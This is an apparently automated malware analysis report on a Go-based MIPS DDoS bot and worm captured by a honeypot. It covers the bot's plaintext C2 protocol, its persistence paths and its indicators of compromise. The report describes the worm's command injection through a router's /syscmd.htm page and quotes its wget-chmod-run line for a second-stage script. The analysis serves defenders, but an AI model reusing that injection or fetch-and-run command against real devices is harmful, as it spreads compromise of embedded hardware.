Honeypot capture

Mipsel32 ELF 32-bit LSB executable ddos-bot (14d62a04e97f)

C2 verifiedProtocol documented

A honeypot sensor network captured an ELF for MIPS32 little-endian that names one command-and-control endpoint, 185.226.93.242 on tcp/9111, in its own strings and code. The C2 channel here is plaintext ASCII, newline-delimited downstream and pipe-delimited upstream, with no transform over it. C2 is the command-and-control channel, which an infected machine uses to reach its operator for instructions. Correlation found the same host in seven other analysed captures. That reuse ties the captures to one operator’s infrastructure.

The build targets mipsle and mips32, the architectures of routers, cameras and other embedded devices rather than servers. The findings note that such hardware is rarely patched or monitored and is permanently online. The analysis classifies the sample as a DDoS bot, worm and scanner. A worm spreads on its own, with no user action, so one infection becomes many; this one spreads by scanning public IPv4 space, exploiting exposed device web interfaces and installing a second stage — the payload a loader fetches — on what it finds.

The binary labels itself as an unpublished Go module, Botnet/Bot, built from a working tree, and its build metadata reads (devel), go1.25.0, GOARCH=mipsle, GOMIPS=softfloat, CGO_ENABLED=0, -trimpath=true, decoded from .go.buildinfo at 0x610000.

It carries nineteen goroutine-dispatched flood methods selected by plaintext tokens over the C2 channel, plus an internet-wide scanner that exploits TOTOLINK/Boa CPE.

Lineage hints point at the Mirai ecosystem (a CMWC PRNG in handshakeRandCMWC, bins.sh delivery, a pipe-delimited stats frame), but the implementation is Go on mipsle where Mirai and Gafgyt variants are C, and the nineteen-method set corresponds to no named variant, so family is reported as null.

The table below reports counts from the static recovery. Endpoints are addresses resolved in the sample’s code and strings; command tokens are dispatch handlers matched to ASCII literals; test vectors are lines replayed through the recovered dissector; the sweep count is routable and placeholder addresses found by scanning the bytes of the whole file.

MeasureValue
Sample size6619351 bytes
C2 endpoints recovered1
Endpoints agreed by a second decompiler backend1
Command tokens documented19
Protocol message types documented2
Protocol test vectors replayed4
Other analysed captures naming the same C2 host7
Network indicators from the byte sweep beyond the profile24

The plaintext C2 channel

main.main assembles the dial string from two adjacent string globals, and both globals are plain data in the file, so reading the file recovers the endpoint. It loads the host at 0x64b608 and the port at 0x64b610 and joins them with runtime.concatstring3 before the call:

port string hdr
0x2f3530 lw      $v0, -0x49f8($s7)      ; 0x64b608 -> host string ptr
0x2f3538 lw      $v1, -0x49f4($s7)      ; 0x64b60c -> host string len
0x2f3550 li      $v0, 0x47a9e0          ; ":"
0x2f356c jal     0x96490                ; runtime.concatstring3(host, ":", port)
0x2f357c li      $v1, 0x3fc7c9          ; "tcp"
0x2f3588 addiu   $v1, $zero, 3
0x2f3598 jal     0x1aed38               ; net.Dial("tcp", "185.226.93.242:9111")

The backing globals read:

0e000000 04c93f00 04000000
  0x64b608: ptr=0x47c8f0 len=14 -> "185.226.93.242"
  0x64b610: ptr=0x3fc904 len=4  -> "9111"

A loader has to carry its addresses in a form it can resolve, and this one stores them as string literals that strings and rabin2 both report. A second decompiler backend resolved the same host and port, and the analysis treats that agreement as raising confidence that the address is real. The analysis reports the endpoint at confidence 0.95 (ATT&CK T1071, MBC B0030). Port 9111 is not a standard service port (T1571, 0x64b610).

The bot frames downstream traffic with a single standard-library call. The read loop is 0x2f3814 jal 0x25b1fc ; bufio.(*Scanner).Scan - the entire downstream framing, followed by strings.Fields at 0x2f3858 on “whitespace-separated fields”, and commands arrive in the shape [method] [target] [[port]] [duration]. Upstream, the bot emits STATS|%d|%d|%d|%d|%s\n every 2 seconds, reporting the architecture string mipsle with telemetry read from /proc/stat and /proc/meminfo’s MemTotal: (T1082, 0x2f7194). The socket is persistent and redials every 5 seconds after a drop.

Four test vectors replay through the recovered dissector. The format is therefore understood well enough to decode live traffic. The STATS line can be produced and parsed, but the meanings of its four integer fields are only inferred from the helper names main.getCPUUsage and main.getMemInfo and a counter global at 0x65f880.

The analysis traced both candidate ciphers on the C2 path to other code. The AES Rcon and S-box tables at 0x633430 and 0x633520 are referenced only by Go’s crypto/internal/fips140/aes, the TLS stack used by the TLS flood methods, and never by the bot’s own code — confirmed by data cross-reference in both backends. main.Decode at 0x2f8150 is an LZSS decompressor reached only from the credential harvesters.

A byte sweep of the whole file found 24 network indicators that the curated profile does not list, including the routable 1[.]2[.]1[.]1, 1[.]2[.]2[.]1, 1[.]3[.]1[.]1, 119[.]0[.]0[.]0, 120[.]0[.]0[.]0 and 2[.]5[.]4[.]102, plus well-known placeholders such as 1[.]1[.]1[.]1. Because they appear in the bytes but not in the curated profile, they are unconfirmed leads rather than verified C2, and the reserved and well-known addresses among them are the kind of scan or flood-test placeholder that malware commonly carries.

Spreading to the next device

A scanner goroutine (main.StartScanner, 0x2f7b90) generates random IPv4 addresses and skips RFC1918 and loopback ranges, so it scans public internet space (T1046, 0x2f7fc0, confidence 0.90). Against a hit it drives a TOTOLINK-style JSON admin API (topicurl with setUserLogin/getSanvas) and a Boa-webserver form login, then reaches OS command injection through /syscmd.htm with a URL-encoded ; separator (T1210, 0x2faff4). The injected line fetches and runs the next stage (T1059.004, 0x40e315): wget … -O bins[.]sh; chmod +x bins[.]sh; ./bins[.]sh. Related code downloads and LZSS-decompresses device credential blobs through main.getCredLeak and main.getAdminCredLeak, defeating a canvas/CAPTCHA step first (T1555, 0x2f8840).

The second stage and a remote configuration are fetched over HTTP through the templates http://%s/bins.sh (0x400860) and http://%s/config.dat (0x401dd7), with the host supplied at runtime. The analysis did not locate the formatting site within its budget and recovered no literal host for it.

Persistence and host artifacts

main.AutoStart at 0x2f687c probes /usr/bin/, /var/run/, /tmp/ and /data/local/tmp/ for writability by creating a probe file named test_write, copies the binary in under the name sysd, chmods it, and appends a [install path] & launch line to whichever boot or shell-profile file it can write (T1037, confidence 0.85). main.AutoStart installs the copy under sysd, a name that resembles a system daemon, and the exploit requests carry User-Agent: Hello World (T1036, 0x2f6a58, confidence 0.70).

These rows carry per-row confidence without cross-backend agreement, because the consensus round covered only the C2 channel.

KindValueContextVAConf
process_namesysdinstall filename, masquerades as a daemon0x2f6a580.85
file/etc/rc.localboot persistence, [path] & appended if writable0x2f6c580.80
file/etc/rc.d/rc.localboot persistence alternative0x2f6c6c0.80
file/etc/init.d/boot.localboot persistence alternative0x2f6c800.80
file/etc/profilesshell-profile persistence0x2f6ee80.75
file/root/.bashrcshell-profile persistence0x2f6efc0.75
filepathbins[.]shsecond-stage script dropped on exploited devices0x40e3150.85
filepathtest_writewritability probe created in each candidate directory0x2f69b00.80
user_agentHello WorldUA on the /syscmd.htm injection requests0x2fb1280.85

One further shell-profile path, redacted in the indicator set, hardcodes the literal account name user, so it only applies on a host that has that account. Like the boot files and the other shell-profile paths, it is used only where main.AutoStart finds the target writable.

The sample needs root for the raw-socket methods ppsraw, handshake and voult, which build IP and TCP headers by hand, and for the /usr/bin/ and boot-file persistence paths; the /tmp/ and /data/local/tmp/ fallbacks and the C2 channel work without it. It also needs three outbound paths, tcp/9111 to the C2 host, tcp/80 for scanning and exploitation, and tcp/80 for bins.sh and config.dat retrieval. Denying any one of these blocks the sample.

Family
unclassified
First seen
November 11, 2026
Vector
Runs as a ddos-bot/worm; the entry vector is not established by static analysis
Format
6464 KB mipsel32 ELF 32-bit LSB executable
VirusTotal
Not on VirusTotal
Tags
ddos-bot · elf · mipsel32 · raw_tcp · scanner · worm
Sample
By request. Email security@kinryu.sh

SHA-256

  • 14d62a04e97f20f2d087dcf41fb44e5597cd3d6fbe4a597229d6b3c79c8ecde7 as captured

Analysis performed using an automatic malware analysis pipeline using Binary Ninja

← All captures